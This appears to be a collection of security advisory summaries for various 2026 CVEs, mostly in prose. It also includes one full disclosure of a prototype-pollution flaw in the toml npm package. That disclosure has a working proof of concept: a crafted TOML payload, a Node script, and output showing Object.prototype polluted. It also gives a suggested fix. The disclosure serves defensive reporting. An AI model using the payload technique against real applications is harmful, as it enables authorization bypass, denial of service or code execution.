Mistune versions before 3.3.0 have a path traversal vulnerability in the Include directive that allows attackers to read arbitrary files by using ../ sequences in include paths. Additionally, attackers can inject HTML through unescaped error messages and included file contents, enabling cross-site scripting (XSS) even when escape=True is set. This vulnerability has a high severity with a CVSS score of 7.5.
Mistune versions from 3.0.0 up to but not including 3.3.0 contain an algorithmic complexity vulnerability in the inline link parser's parse_link_text function. This flaw allows unauthenticated attackers to cause high CPU usage by submitting Markdown with many unbalanced '[' or '![' characters, resulting in repeated unbounded forward scans that can tie up worker processes for minutes. The vulnerability has a high severity with a CVSS score of 7.5.
Incus before 6.0.7, 6.1.0 before 7.0.2, and 7.1.0 before 7.5.0 contains an arbitrary file write vulnerability in sftpRecursivePullFile that allows a malicious incus-agent to escape the target directory during incus file pull -r. Attackers with root in a virtual machine can return duplicate entries reported first as symlinks then as files or directories, writing attacker-controlled files such as /etc/shadow on the operator's host.
CVE-2026-114519 is a missing authorization vulnerability in Roskus Prospero Flow CRM versions from 2.0.0 up to but not including 5.26.0. It allows users with a basic role to read account details of other users within their company and, from version 3.5.0 onward, to delete those accounts. The vulnerability arises because the API routes for reading and deleting users only validate the JSON Web Token but do not enforce permission checks. Notably, users in the default company can delete any account across companies. This can lead to unauthorized access to personal data and deletion of accounts, including administrative ones.
PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. From 3.3.0 until 3.10.8 and 5.10.0, Reader\Xml passes stored SpreadsheetML XML through XmlScanner::scan in Xml::canRead and Xml::trySimpleXMLLoadStringPrivate, while Xml::unentity decodes numeric entities only after each DOCTYPE pattern check. A double-encoded less-than character is reduced by the first callback to another encoded character and by the second callback to a literal less-than sign, so SimpleXML receives an unchecked DOCTYPE and entity declaration. Processing attacker-controlled SpreadsheetML XML can cause entity-expansion denial of service and can permit local file access or SSRF on PHP before 8.0 or when LIBXML_NOENT is enabled. This issue is fixed in versions 3.10.8 and 5.10.0.
CVE-2026-108359 is a high-severity vulnerability in PHPOffice PhpSpreadsheet affecting multiple versions prior to 1.30.7, 2.1.19, 2.4.8, 3.10.8, and 5.10.0. The vulnerability arises from the Ods::processTableRow function accepting an unbounded table:number-rows-repeated attribute in ODS files, allowing an attacker to cause uncontrolled resource consumption. This can lead to substantial CPU and memory usage, potentially terminating the PHP worker process. The issue is fixed in the specified versions.
PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. Prior to 1.30.7, 2.1.19, 2.4.8, 3.10.8, and 5.10.0, XmlScanner::scan in src/PhpSpreadsheet/Reader/Security/XmlScanner.php uses a DOCTYPE detection pattern that accounts for NUL-byte interleaving but not ISO-2022 escape sequences in XLSX XML parts. The escape sequences prevent the scanner from matching the declaration, and XML charset normalization then removes the escape bytes before parsing, exposing a valid DOCTYPE and entity definitions. Processing an attacker-controlled XLSX can therefore cause entity-expansion denial of service on supported PHP versions and can permit local file access or SSRF on PHP before 8.0 or when LIBXML_NOENT is enabled. This issue is fixed in versions 1.30.7, 2.1.19, 2.4.8, 3.10.8, and 5.10.0.
CVE-2026-108360 is an incorrect authorization vulnerability in PHPOffice PhpSpreadsheet affecting versions prior to 1.30.7, 2.1.19, 2.4.8, 3.10.8, and 5.10.0. The issue arises when the Worksheet\Drawing::setPath method validates only the initial external-image URL whitelist, allowing an attacker to exploit HTTP redirects to cause the server to make blind GET requests to internal or cloud metadata endpoints. The downloaded content is validated and removed, so no data is leaked to the attacker, but internal network reachability can be probed. The vulnerability is fixed in the specified versions.
Arista Networks patched a critical zero-day vulnerability (CVE-2026-114625) in VeloCloud Orchestrator (VCO) On-Prem deployments. The flaw allows authenticated users with basic privileges to escalate to operator-level privileges via low-complexity SQL injection attacks without user interaction. This enables access to internal functionality not intended for remote access, potentially compromising the confidentiality, integrity, and availability of the orchestrator and managed data. Hosted VCO deployments running versions 5.2.3.18 or later, 6.1.3.10 or later, and 6.4.2.12 or later have been patched. Until patches are applied, Arista recommends restricting VCO web interface access, monitoring for suspicious activity, and blocking known malicious IP addresses involved in ongoing attacks.
### Summary
CVE-2026-63376 described prototype pollution through __proto__ key-path desynchronization and was fixed in 4.1.2 by rewriting the path bookkeeping and adding an ownedContainers WeakSet. The desynchronization is still reachable, spelled with a quote character instead of a dot, and the owned-container check is not applied on the path that matters.
A four-line TOML document parsed with toml.parse() writes a property onto Object.prototype, where it is visible to every object in the process — including objects produced by unrelated libraries.
### Details
Three gaps compose. All line numbers are `lib/compiler.js` in 5.0.0.
**1. The path-key encoding is ambiguous.** `quoteDottedString()` quotes a segment only when it contains a `.`, and never escapes a `"` inside the segment:
```js
287: function quoteDottedString(str) {
288: if (str.indexOf(".") > -1) {
289: return "\"" + str + "\"";
290: } else {
291: return str;
292: }
293: }
```
So the key path `['x.y']` and the key path `['"x', 'y"']` both render as the string `"x.y"`. This is the same desynchronization CVE-2026-63376 named, with a quote in place of the dot.
**2. A table-array header can clear another key's guard.** `addTableArray()` walks `assignedPaths` / `valueAssignments` with `isSameOrSubPath()` over those ambiguous strings, so a header whose rendered path collides with an unrelated key deletes that key's entry.
**3. The descent in `assign()` has no owned-container check.** `deepRef()` applies `isOwnedContainer()` only to intermediate segments (`lib/compiler.js:265`, `:273`) and returns the final container unchecked. `assign()` then walks it with only a shape test:
```js
93: target = target[k];
...
103: target[lastKey] = reduced;
```
A TOML datetime is a `Date`. It satisfies `typeof target[k] === "object"` and is not an array, so the walk descends into it — and a `Date` has a live prototype chain to `Object.prototype`.
Putting the three together, a document can make the current table a `Date` and then walk `__proto__.__proto__` to `Object.prototype`.
```bash
mkdir poc && cd poc && npm init -y >/dev/null && npm install toml@5.0.0
```
```toml
# poc.toml
"b.c" = 1979-05-27T07:32:00Z
[['"b']]
["b.c"]
__proto__.__proto__.polluted = "yes"
```
Line 1 defines a key whose rendered path is `"b.c"` and whose value is a `Date`.
Line 2 is a table-array header whose rendered path collides with it, clearing its guard.
Line 3 re-enters that key, so the current table is now the `Date`.
Line 4 walks `Date` → `Date.prototype` → `Object.prototype`.
```js
// poc.js
const toml = require('toml');
const fs = require('fs');
console.log('before:', JSON.stringify(({}).polluted));
toml.parse(fs.readFileSync('poc.toml', 'utf8'));
console.log('after: ', JSON.stringify(({}).polluted));
console.log('Object.prototype.hasOwnProperty("polluted") =', Object.prototype.hasOwnProperty('polluted'));
console.log('JSON.parse("{}").polluted =', JSON.stringify(JSON.parse('{}').polluted));
```
```
$ node poc.js
before: undefined
after: "yes"
Object.prototype.hasOwnProperty("polluted") = true
JSON.parse("{}").polluted = "yes"
```
The payload sets a single harmless marker property. The last line shows the property is visible on an object this code never touched.
A useful control: the same document without line 2 (the guard-clearing header) is correctly rejected on 4.1.2 and later, which confirms the clearing step is what is load-bearing.
### Impact
Any application that parses a TOML document from an untrusted source is affected — a configuration file uploaded by a user, a manifest from a third-party package or repository, a document posted to an API. Prototype pollution of this kind commonly escalates to authentication or authorization bypass, denial of service, and in applications with a suitable gadget, remote code execution, because every object in the process inherits the injected property.
Suggested fix: in `assign()`, apply the same check the intermediate descent already uses — after `target = target[k]`, reject when `!isOwnedContainer(target)`. Equivalently, apply `isOwnedContainer` to the value `deepRef()` returns. Separately, `quoteDottedString()` should escape `"` inside a segment so that distinct key paths cannot render to the same string.
A memory-related vulnerability in an upstream library used by Next.js for Image Optimization can lead to unauthenticated remote code execution (RCE) when processing SVG files on glibc-based Linux systems. This affects Next.js versions from 10.0.0 up to but excluding 15.5.28, and from 16.0.0 up to but excluding 16.4.1. The vulnerability is critical and can be mitigated by upgrading the 'sharp' library to version 0.35.5 or later, which is included in patched Next.js releases.
CVE-2026-114487 is a missing authorization vulnerability in Devolutions Server versions up to 2026.2.20.0 and from 2026.3.5.0 through 2026.3.10.0. It allows an authenticated non-administrative user with a PAM license to create PAM sub-providers under existing Active Directory providers by sending a crafted import request to the PAM AD computer import endpoint.
crawlseo versions before 0.2.5 store Google OAuth access and refresh tokens in cleartext within the User.googleTokens database column. This vulnerability allows attackers who have read access to the Postgres database to obtain long-lived refresh tokens in plaintext. With these tokens, attackers can gain indefinite, unauthenticated access to all registered users' Google Search Console data. The vulnerability is classified as CWE-312 (Cleartext Storage of Sensitive Information).
Next.js versions 13.0.0 up to but excluding 15.5.28, and 16.0.0 up to but excluding 16.4.1, have a vulnerability in App Router applications using Server Actions. Crafted requests can cause excessive CPU usage and block processing of further requests in the same process. Applications using the Pages Router or App Router without Server Actions are not affected. The issue is fixed in versions 15.5.28 and 16.4.1.
CVE-2026-16477 is a high-severity vulnerability in CleanShot X for macOS where the application insecurely deserializes untrusted data embedded in .cleanshot project files. An attacker can craft a malicious .cleanshot file that, when opened by a user, triggers automatic execution of arbitrary code with the current user's privileges. This issue affects versions prior to 4.5.2, 4.6.3, 4.7.8, and 4.8.10, which contain the fixes.
Multiple security issues were identified in the libXi client-side library for the X Input Extension, leading to a high severity vulnerability (CVE-2026-109089). These issues affect versions of libXi prior to 1.8-5.oe2203sp4. The vulnerabilities have a CVSS 3.1 base score of 7.5, indicating high impact on confidentiality, integrity, and availability. Official security fixes have been released to address these problems.
A vulnerability in MIT Kerberos 5 (krb5) through version 1.22.2 allows authenticated clients to cause a denial of service by triggering a NULL pointer dereference. This occurs when mismatched KRB-CRED arrays are sent, specifically when forwarded credentials contain more tickets than ticket_info entries, crashing GSS-API acceptor services.
Two critical remote code execution vulnerabilities in PHP, collectively named PHP2Shell, were disclosed on October 21, 2026. CVE-2026-109618 involves out-of-memory handling corruption that can interrupt PHP while internal request data is partially initialized, leading to invalid data treatment. CVE-2026-109619 exploits stale global state where request-owned internal state survives after memory is freed. Both vulnerabilities can be exploited successfully on ARM64 systems and x86 systems without ASLR. Fixed versions include PHP 8.5.12, 8.4.27, 8.3.36, and 8.2.35. Over 2.6 million internet-facing hosts running PHP were identified as vulnerable, with 42% on end-of-life branches receiving no official patches. Early exploitation attempts were observed from multiple sources, including scanning activity and webshell deployment attempts targeting the upload-progress vulnerability path.
A vulnerability in multer versions 2.0.0 through before 2.5.0 allows a Node.js process to crash when using an asynchronous fileFilter. If a request is aborted while the asynchronous fileFilter is pending, an unhandled error event occurs due to a resumed parsing stream without an error listener, causing the process to exit. This issue is fixed in multer 2.5.0.
